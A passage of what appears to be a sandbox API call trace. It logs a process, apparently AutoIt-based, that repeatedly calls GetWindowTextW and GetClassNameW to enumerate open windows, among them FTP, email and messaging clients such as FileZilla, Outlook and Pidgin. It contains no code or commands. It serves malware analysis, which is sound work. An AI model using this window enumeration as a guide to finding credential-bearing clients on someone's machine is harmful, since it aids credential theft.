lpClassName="scriptftpapp") returned 12 [0132.843] GetWindowTextW (in: hWnd=0x10292, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Outlook") returned 7 [0132.844] GetClassNameW (in: hWnd=0x10292, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="outlookwindow") returned 13 [0132.844] GetWindowTextW (in: hWnd=0x10294, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Pidgin") returned 6 [0132.844] GetClassNameW (in: hWnd=0x10294, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="pidgin_cls") returned 10 [0132.844] GetWindowTextW (in: hWnd=0x10286, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Notepad") returned 7 [0132.844] GetClassNameW (in: hWnd=0x10286, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="notepad") returned 7 [0132.844] GetWindowTextW (in: hWnd=0x10288, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Operamail") returned 9 [0132.844] GetClassNameW (in: hWnd=0x10288, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="operamail_window") returned 16 [0132.844] GetWindowTextW (in: hWnd=0x1027e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Ncftp") returned 5 [0132.845] GetClassNameW (in: hWnd=0x1027e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ncftp_win") returned 9 [0132.845] GetWindowTextW (in: hWnd=0x10274, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Icq") returned 3 [0132.845] GetClassNameW (in: hWnd=0x10274, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="icq_class") returned 9 [0132.845] GetWindowTextW (in: hWnd=0x10272, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Gmailnotifierpro") returned 16 [0132.845] GetClassNameW (in: hWnd=0x10272, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="gmailnotifierprowindow") returned 22 [0132.845] GetWindowTextW (in: hWnd=0x1026a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Foxmailincmail") returned 14 [0132.845] GetClassNameW (in: hWnd=0x1026a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="foxmailincmailwin") returned 17 [0132.846] GetWindowTextW (in: hWnd=0x10252, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Far") returned 3 [0132.846] GetClassNameW (in: hWnd=0x10252, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="farcls") returned 6 [0132.846] GetWindowTextW (in: hWnd=0x1024c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Bitkinex") returned 8 [0132.846] GetClassNameW (in: hWnd=0x1024c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="bitkinex") returned 8 [0132.846] GetWindowTextW (in: hWnd=0x1023e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Alftp") returned 5 [0132.846] GetClassNameW (in: hWnd=0x1023e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="alftp_class") returned 11 [0132.846] GetWindowTextW (in: hWnd=0x10238, lpString=0xbdead8, nMaxCount=1024 | out: lpString="3Dftp") returned 5 [0132.846] GetClassNameW (in: hWnd=0x10238, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="3dftp") returned 5 [0132.847] GetWindowTextW (in: hWnd=0x10266, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Fling") returned 5 [0132.847] GetClassNameW (in: hWnd=0x10266, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="fling_window") returned 12 [0132.847] GetWindowTextW (in: hWnd=0x1027a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Leechftp") returned 8 [0132.847] GetClassNameW (in: hWnd=0x1027a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="leechftpwnd") returned 11 [0132.847] GetWindowTextW (in: hWnd=0x1025e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Filezilla") returned 9 [0132.847] GetClassNameW (in: hWnd=0x1025e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="filezilla_wnd") returned 13 [0132.847] GetWindowTextW (in: hWnd=0x10236, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Institution Big Direction") returned 25 [0132.847] GetClassNameW (in: hWnd=0x10236, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="InstitutionBigDirection") returned 23 [0132.848] GetWindowTextW (in: hWnd=0x10260, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Flashfxp") returned 8 [0132.848] GetClassNameW (in: hWnd=0x10260, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="flashfxpwnd") returned 11 [0132.848] GetWindowTextW (in: hWnd=0x10254, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Coreftp") returned 7 [0132.849] GetClassNameW (in: hWnd=0x10254, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="coreftp_wnd") returned 11 [0132.849] GetWindowTextW (in: hWnd=0x1024a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Barca") returned 5 [0132.849] GetClassNameW (in: hWnd=0x1024a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="barcaclass") returned 10 [0132.849] GetWindowTextW (in: hWnd=0x10226, lpString=0xbdead8, nMaxCount=1024 | out: lpString="For Receive") returned 11 [0132.849] GetClassNameW (in: hWnd=0x10226, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Forreceiveapp") returned 13 [0132.849] GetWindowTextW (in: hWnd=0x1021c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Behind Town") returned 11 [0132.849] GetClassNameW (in: hWnd=0x1021c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Behind_town_window") returned 18 [0132.849] GetWindowTextW (in: hWnd=0x10240, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Absolutetelnet") returned 14 [0132.850] GetClassNameW (in: hWnd=0x10240, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="absolutetelnet_class") returned 20 [0132.850] GetWindowTextW (in: hWnd=0x10218, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Particular Crime") returned 16 [0132.850] GetClassNameW (in: hWnd=0x10218, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="particularCrimeclass") returned 20 [0132.850] GetWindowTextW (in: hWnd=0x1022c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Meet Seat Sometimes") returned 19 [0132.850] GetClassNameW (in: hWnd=0x1022c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="MeetseatSometimeswindow") returned 23 [0132.850] GetWindowTextW (in: hWnd=0x10224, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Private Perform Born") returned 20 [0132.850] GetClassNameW (in: hWnd=0x10224, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Private_Perform_Born_") returned 21 [0132.850] GetWindowTextW (in: hWnd=0x1020a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Arm Already Outside") returned 19 [0132.851] GetClassNameW (in: hWnd=0x1020a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Arm_already_outside_win") returned 23 [0132.851] GetWindowTextW (in: hWnd=0x10202, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Big") returned 3 [0132.851] GetClassNameW (in: hWnd=0x10202, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="big_window") returned 10 [0132.851] GetWindowTextW (in: hWnd=0x1021e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Player Pay Half") returned 15 [0132.851] GetClassNameW (in: hWnd=0x1021e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="playerpayhalfwindow") returned 19 [0132.851] GetWindowTextW (in: hWnd=0x10216, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Sea Travel Style") returned 16 [0132.851] GetClassNameW (in: hWnd=0x10216, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Sea_Travel_style_cls") returned 20 [0132.852] GetWindowTextW (in: hWnd=0x10200, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Magazine") returned 8 [0132.852] GetClassNameW (in: hWnd=0x10200, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="magazine_app") returned 12 [0132.852] GetWindowTextW (in: hWnd=0x10204, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Production Tend") returned 15 [0132.852] GetClassNameW (in: hWnd=0x10204, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="productiontendcls") returned 17 [0132.852] GetWindowTextW (in: hWnd=0x301f6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Painting") returned 8 [0132.852] GetClassNameW (in: hWnd=0x301f6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="paintingcls") returned 11 [0132.852] GetWindowTextW (in: hWnd=0x201fa, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Better") returned 6 [0132.852] GetClassNameW (in: hWnd=0x201fa, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Betterclass") returned 11 [0132.853] GetWindowTextW (in: hWnd=0x30032, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Run Service Who") returned 15 [0132.853] GetClassNameW (in: hWnd=0x30032, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Run_service_Who_") returned 16 [0132.853] GetWindowTextW (in: hWnd=0x3001c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.853] GetClassNameW (in: hWnd=0x3001c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.853] GetWindowTextW (in: hWnd=0x20142, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.853] GetClassNameW (in: hWnd=0x20142, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0132.853] GetWindowTextW (in: hWnd=0x2013e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.854] GetClassNameW (in: hWnd=0x2013e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0132.854] GetWindowTextW (in: hWnd=0x20140, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.854] GetClassNameW (in: hWnd=0x20140, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.854] GetWindowTextW (in: hWnd=0x2008a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.854] GetClassNameW (in: hWnd=0x2008a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.854] GetWindowTextW (in: hWnd=0x60046, lpString=0xbdead8, nMaxCount=1024 | out: lpString="AutoIt v3") returned 9 [0132.854] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0xd, wParam=0x400, lParam=0xbdead8) returned 0x9 [0132.854] GetClassNameW (in: hWnd=0x60046, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="AutoIt v3") returned 9 [0132.854] GetWindowTextW (in: hWnd=0x702ec, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.855] GetClassNameW (in: hWnd=0x702ec, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0132.855] GetWindowTextW (in: hWnd=0x101e8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="MS_WebcheckMonitor") returned 18 [0132.855] GetClassNameW (in: hWnd=0x101e8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0132.855] GetWindowTextW (in: hWnd=0x101e0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="BluetoothNotificationAreaIconWindowClass") returned 40 [0132.855] GetClassNameW (in: hWnd=0x101e0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0132.855] GetWindowTextW (in: hWnd=0x101dc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.855] GetClassNameW (in: hWnd=0x101dc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="PNIHiddenWnd") returned 12 [0132.855] GetWindowTextW (in: hWnd=0x101d8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.855] GetClassNameW (in: hWnd=0x101d8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.855] GetWindowTextW (in: hWnd=0x101d4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.856] GetClassNameW (in: hWnd=0x101d4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.856] GetWindowTextW (in: hWnd=0x101d0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.856] GetClassNameW (in: hWnd=0x101d0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.856] GetWindowTextW (in: hWnd=0x101c2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.856] GetClassNameW (in: hWnd=0x101c2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ATL:00007FFFE39A7080") returned 20 [0132.856] GetWindowTextW (in: hWnd=0x101ba, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.856] GetClassNameW (in: hWnd=0x101ba, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.856] GetWindowTextW (in: hWnd=0x101aa, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Battery Meter") returned 13 [0132.856] GetClassNameW (in: hWnd=0x101aa, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="SystemTray_Main") returned 15 [0132.857] GetWindowTextW (in: hWnd=0x101a6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.857] GetClassNameW (in: hWnd=0x101a6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.857] GetWindowTextW (in: hWnd=0x20186, lpString=0xbdead8, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0132.857] GetClassNameW (in: hWnd=0x20186, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0132.857] GetWindowTextW (in: hWnd=0x10188, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Task Host Window") returned 16 [0132.857] GetClassNameW (in: hWnd=0x10188, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0132.857] GetWindowTextW (in: hWnd=0x1011c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.857] GetClassNameW (in: hWnd=0x1011c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.857] GetWindowTextW (in: hWnd=0x10124, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.858] GetClassNameW (in: hWnd=0x10124, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="TabletModeCoverWindow") returned 21 [0132.858] GetWindowTextW (in: hWnd=0x10198, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.858] GetClassNameW (in: hWnd=0x10198, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.858] GetWindowTextW (in: hWnd=0x1019a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.858] GetClassNameW (in: hWnd=0x1019a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.858] GetWindowTextW (in: hWnd=0x10122, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.858] GetClassNameW (in: hWnd=0x10122, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0132.858] GetWindowTextW (in: hWnd=0x1011a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.858] GetClassNameW (in: hWnd=0x1011a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0132.858] GetWindowTextW (in: hWnd=0x100fc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Windows Push Notifications Platform") returned 35 [0132.859] GetClassNameW (in: hWnd=0x100fc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0132.859] GetWindowTextW (in: hWnd=0x100f8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0132.859] GetClassNameW (in: hWnd=0x100f8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0132.859] GetWindowTextW (in: hWnd=0x100f6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.859] GetClassNameW (in: hWnd=0x100f6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.859] GetWindowTextW (in: hWnd=0x100f2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.859] GetClassNameW (in: hWnd=0x100f2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0132.859] GetWindowTextW (in: hWnd=0x100ee, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.859] GetClassNameW (in: hWnd=0x100ee, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.860] GetWindowTextW (in: hWnd=0x100ea, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.860] GetClassNameW (in: hWnd=0x100ea, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.860] GetWindowTextW (in: hWnd=0x200e0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.860] GetClassNameW (in: hWnd=0x200e0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0132.860] GetWindowTextW (in: hWnd=0x100ca, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.860] GetClassNameW (in: hWnd=0x100ca, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0132.860] GetWindowTextW (in: hWnd=0x100b6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.860] GetClassNameW (in: hWnd=0x100b6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0132.860] GetWindowTextW (in: hWnd=0x20072, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.861] GetClassNameW (in: hWnd=0x20072, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0132.861] GetWindowTextW (in: hWnd=0x4006e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.861] GetClassNameW (in: hWnd=0x4006e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0132.861] GetWindowTextW (in: hWnd=0x10024, lpString=0xbdead8, nMaxCount=1024 | out: lpString="DWM Notification Window") returned 23 [0132.861] GetClassNameW (in: hWnd=0x10024, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Dwm") returned 3 [0132.861] GetWindowTextW (in: hWnd=0x101a4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.861] GetClassNameW (in: hWnd=0x101a4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="CicLoaderWndClass") returned 17 [0132.861] GetWindowTextW (in: hWnd=0x30302, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.861] GetClassNameW (in: hWnd=0x30302, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0132.862] GetWindowTextW (in: hWnd=0x3028e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="") returned 0 [0132.862] GetClassNameW (in: hWnd=0x3028e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0132.862] GetWindowTextW (in: hWnd=0x100d8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Program Manager") returned 15 [0132.862] GetClassNameW (in: hWnd=0x100d8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="Progman") returned 7 [0132.862] GetWindowTextW (in: hWnd=0x10134, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.862] GetClassNameW (in: hWnd=0x10134, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.862] GetWindowTextW (in: hWnd=0x200a8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="MSCTFIME UI") returned 11 [0132.862] GetClassNameW (in: hWnd=0x200a8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="MSCTFIME UI") returned 11 [0132.862] GetWindowTextW (in: hWnd=0x10086, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.862] GetClassNameW (in: hWnd=0x10086, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.863] GetWindowTextW (in: hWnd=0x20312, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.863] GetClassNameW (in: hWnd=0x20312, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.863] GetWindowTextW (in: hWnd=0x702a6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.863] GetClassNameW (in: hWnd=0x702a6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.863] GetWindowTextW (in: hWnd=0x20270, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.863] GetClassNameW (in: hWnd=0x20270, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.863] GetWindowTextW (in: hWnd=0x202e2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.863] GetClassNameW (in: hWnd=0x202e2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.879] GetWindowTextW (in: hWnd=0x140206, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.879] GetClassNameW (in: hWnd=0x140206, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.879] GetWindowTextW (in: hWnd=0x1035e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.879] GetClassNameW (in: hWnd=0x1035e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.880] GetWindowTextW (in: hWnd=0x1035c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.880] GetClassNameW (in: hWnd=0x1035c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.880] GetWindowTextW (in: hWnd=0x1035a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.880] GetClassNameW (in: hWnd=0x1035a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.880] GetWindowTextW (in: hWnd=0x10358, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.880] GetClassNameW (in: hWnd=0x10358, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.880] GetWindowTextW (in: hWnd=0x10356, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.880] GetClassNameW (in: hWnd=0x10356, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.880] GetWindowTextW (in: hWnd=0x10354, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.881] GetClassNameW (in: hWnd=0x10354, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.881] GetWindowTextW (in: hWnd=0x10352, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.881] GetClassNameW (in: hWnd=0x10352, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.881] GetWindowTextW (in: hWnd=0x1034a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.881] GetClassNameW (in: hWnd=0x1034a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.881] GetWindowTextW (in: hWnd=0x10346, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.881] GetClassNameW (in: hWnd=0x10346, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.881] GetWindowTextW (in: hWnd=0x10344, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.881] GetClassNameW (in: hWnd=0x10344, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.881] GetWindowTextW (in: hWnd=0x1033c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.882] GetClassNameW (in: hWnd=0x1033c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.882] GetWindowTextW (in: hWnd=0x1033a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.882] GetClassNameW (in: hWnd=0x1033a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.882] GetWindowTextW (in: hWnd=0x10334, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.882] GetClassNameW (in: hWnd=0x10334, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.882] GetWindowTextW (in: hWnd=0x1032a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.882] GetClassNameW (in: hWnd=0x1032a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.882] GetWindowTextW (in: hWnd=0x10320, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.882] GetClassNameW (in: hWnd=0x10320, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.883] GetWindowTextW (in: hWnd=0x1031e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.883] GetClassNameW (in: hWnd=0x1031e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.883] GetWindowTextW (in: hWnd=0x10314, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.883] GetClassNameW (in: hWnd=0x10314, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.883] GetWindowTextW (in: hWnd=0x1030a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.883] GetClassNameW (in: hWnd=0x1030a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.883] GetWindowTextW (in: hWnd=0x10308, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.883] GetClassNameW (in: hWnd=0x10308, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.883] GetWindowTextW (in: hWnd=0x102fc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.883] GetClassNameW (in: hWnd=0x102fc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.884] GetWindowTextW (in: hWnd=0x102fa, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.884] GetClassNameW (in: hWnd=0x102fa, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.884] GetWindowTextW (in: hWnd=0x102f8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.884] GetClassNameW (in: hWnd=0x102f8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.884] GetWindowTextW (in: hWnd=0x102ea, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.884] GetClassNameW (in: hWnd=0x102ea, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.884] GetWindowTextW (in: hWnd=0x102de, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.884] GetClassNameW (in: hWnd=0x102de, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.884] GetWindowTextW (in: hWnd=0x102d4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.885] GetClassNameW (in: hWnd=0x102d4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.885] GetWindowTextW (in: hWnd=0x102d0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.885] GetClassNameW (in: hWnd=0x102d0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0132.885] GetWindowTextW (in: hWnd=0x102ce, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0132.885] GetClassNameW (in: hWnd=0x102ce, 